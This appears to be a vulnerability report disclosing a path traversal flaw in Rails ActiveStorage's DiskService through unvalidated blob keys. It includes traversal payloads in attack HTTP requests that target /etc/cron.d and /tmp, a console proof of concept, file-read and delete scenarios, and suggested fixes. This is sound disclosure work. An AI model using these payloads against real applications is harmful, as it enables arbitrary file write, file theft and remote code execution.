Ruby on Rails · Report #3580511
ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection
How it was found
ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection
Summary
ActiveStorage's DiskService#path_for does not validate or sanitize blob keys before constructing file paths. Combined with the Hash attachable interface — which passes user-supplied key: values directly to Blob.build_after_unfurling without filtering — an attacker who can influence the Hash passed to .attach() can achieve arbitrary file write, read, and delete on the server's filesystem.
The key: parameter is a documented feature intended for S3 folder organization, making it likely that developers will incorporate user input into key construction.
Severity: High (CVSS 8.1 estimated — depends on application-level exposure)
Affected component: activestorage (DiskService)
Affected versions: All current Rails versions using ActiveStorage with DiskService
Vulnerability Details
1. Hash Attachable Splats All Keys Without Filtering
activestorage/lib/active_storage/attached/changes/create_one.rb:82-88:
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
When a Hash is passed to .attach(), every key-value pair — including key: — is forwarded to Blob.build_after_unfurling via ** splat.
2. build_after_unfurling Accepts and Stores Arbitrary Keys
activestorage/app/models/active_storage/blob.rb:86-89:
def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
blob.unfurl(io, identify: identify)
end
end
A non-nil key: value is passed directly to ActiveStorage::Blob.new.
3. has_secure_token Does Not Overwrite Pre-Set Keys
activerecord/lib/active_record/secure_token.rb:73-77:
set_callback on, on == :initialize ? :after : :before do
if new_record? && !query_attribute(attribute)
send("#{attribute}=", generate_token.call)
end
end
The has_secure_token :key callback on ActiveStorage::Blob only generates a secure random key when the attribute is blank. If a key is already set via the constructor, the callback is a no-op. The custom key getter (blob.rb:176-179) also preserves existing values via self[:key] ||= ....
4. DiskService#path_for Has No Path Traversal Protection
activestorage/lib/active_storage/service/disk_service.rb:101-103, 155-157:
def path_for(key)
File.join root, folder_for(key), key
end
def folder_for(key)
[ key[0..1], key[2..3] ].join("/")
end
File.join does not sanitize ../ sequences. There is no validation that the resolved path remains within root. A key like ../../etc/cron.d/evil produces a path that escapes the storage directory.
5. No Key Format Validation on the Blob Model
ActiveStorage::Blob has zero validation on the key attribute:
validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...
The only constraint is the database-level NOT NULL and UNIQUE index, neither of which prevent path traversal characters.
Attack Chain
Attacker-controlled input
↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
↓
create_one.rb: **splat passes key: to build_after_unfurling
↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
↓
secure_token.rb: callback sees key is present, skips generation
↓
disk_service.rb: path_for("../../malicious")
→ File.join(root, folder_for(key), key)
→ escapes storage root directory
↓
upload/download/delete operates on arbitrary filesystem path
Exploitation Scenarios
Scenario A: JSON API with User-Specified Storage Path
The official Rails guide documents using key: for S3 folder organization. A developer building an API may extend this pattern to allow user-specified paths:
class Api::V1::DocumentsController < ApiController
def create
file = decode_base64_upload(params[:file_data])
@project.documents.attach(
io: file,
filename: params[:filename],
content_type: params[:content_type],
key: "projects/#{@project.id}/#{params[:path]}" # user input in key
)
render json: { status: "uploaded" }
end
end
Attack request:
POST /api/v1/documents HTTP/1.1
Content-Type: application/json
{
"file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
"filename": "notes.txt",
"content_type": "text/plain",
"path": "../../../../etc/cron.d/backdoor"
}
Result: The uploaded content is written to /etc/cron.d/backdoor (if the process has permissions), achieving Remote Code Execution via cron.
Scenario B: Hash Attachable with Unsanitized Params
A developer permits the key parameter through Strong Parameters, following the guide's documented feature:
class AssetsController < ApplicationController
def create
current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
end
private
def avatar_params
params.require(:avatar).permit(:filename, :content_type, :key)
end
end
Attack request:
POST /assets HTTP/1.1
Content-Type: multipart/form-data
avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]
Result: Arbitrary file write to /tmp/malicious_payload.
Scenario C: Nested Attributes / Model Assignment
When has_one_attached generates an attribute setter, Hash values flow through the vulnerable path:
class User < ApplicationRecord
has_one_attached :avatar
end
class UsersController < ApplicationController
def update
@user.update!(user_params)
end
private
def user_params
params.require(:user).permit(:name, avatar: {}) # permissive Hash permit
end
end
A JSON request body like { "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } } would inject the key through the model assignment path.
Scenario D: Arbitrary File Read via Download
Once a blob with a malicious key is persisted, any subsequent blob.download call reads from the traversed path:
# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download # reads /etc/passwd via DiskService
If the application exposes blob content through any controller (the default BlobsController, custom download endpoints, etc.), the attacker can read arbitrary files.
Scenario E: Arbitrary File Delete via Purge
# Blob with key: "../../important_app_config.yml"
blob.purge # calls service.delete(key) → File.delete(path_for(key))
Deleting the blob (via purge, or automatic cleanup of unattached blobs) deletes the traversed file path.
Proof of Concept
Minimal reproduction in a Rails console with DiskService configured:
# 1. Demonstrate that a malicious key bypasses has_secure_token
blob = ActiveStorage::Blob.build_after_unfurling(
key: "../../traversal_test",
io: StringIO.new("pwned"),
filename: "test.txt"
)
puts blob.key # => "../../traversal_test" (not a secure random token)
# 2. Demonstrate path_for escapes root
service = ActiveStorage::Blob.service # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/
# 3. Demonstrate via attach (simulating application code)
user = User.new(name: "test")
user.avatar.attach(
io: StringIO.new("arbitrary content"),
filename: "innocent.txt",
key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!
# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}" # => true
Suggested Remediation
Option A: Validate Key Format on the Blob Model (Recommended)
Add a validation that rejects keys containing path traversal characters:
# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
with: /\A[a-zA-Z0-9\-_]+\z/,
message: "contains invalid characters"
}
Option B: Sanitize in DiskService#path_for
Verify the resolved path stays within the root directory:
# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
path = File.join(root, folder_for(key), key)
full_path = File.expand_path(path)
raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
full_path
end
Option C: Strip key from Hash Attachable
Prevent the key: parameter from being accepted through the Hash attachable path:
# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
ActiveStorage::Blob.build_after_unfurling(
**attachable.except(:key, "key").reverse_merge(
record: record,
service_name: attachment_service_name
).symbolize_keys
)
A combination of Options A and B provides defense-in-depth.
References
activestorage/lib/active_storage/service/disk_service.rb:101-103—path_for(no sanitization)activestorage/lib/active_storage/attached/changes/create_one.rb:82-88— Hash splatactivestorage/app/models/active_storage/blob.rb:86-89—build_after_unfurlingacceptskey:activerecord/lib/active_record/secure_token.rb:73-77— conditional token generation- Rails Guide: Attaching File/IO Objects — documents
key:parameter usage
Impact
Impact
| Operation | DiskService Method | Primitive |
|---|---|---|
upload | IO.copy_stream(io, make_path_for(key)) | Arbitrary file write + directory creation via mkdir_p |
download | File.binread path_for(key) | Arbitrary file read |
delete | File.delete path_for(key) | Arbitrary file delete |
delete_prefixed | Dir.glob(path_for("#{prefix}*")) + rm_rf | Glob-based mass delete |
exist? | File.exist? path_for(key) | File existence oracle |
With arbitrary file write, an attacker can achieve Remote Code Execution by writing to:
- Cron directories (
/etc/cron.d/) - SSH authorized keys (
~/.ssh/authorized_keys) - Application initializers or configuration files
- Puma/Unicorn restart-watched files
Who Is Affected
- Applications using DiskService (default in development; used in production for small/single-server deployments and on-premises environments)
- Applications where any user input flows into the Hash passed to
.attach(), particularly thekey:field - The official guide's documented
key:pattern encourages developers to construct keys from dynamic values, increasing the likelihood of user input reaching this code path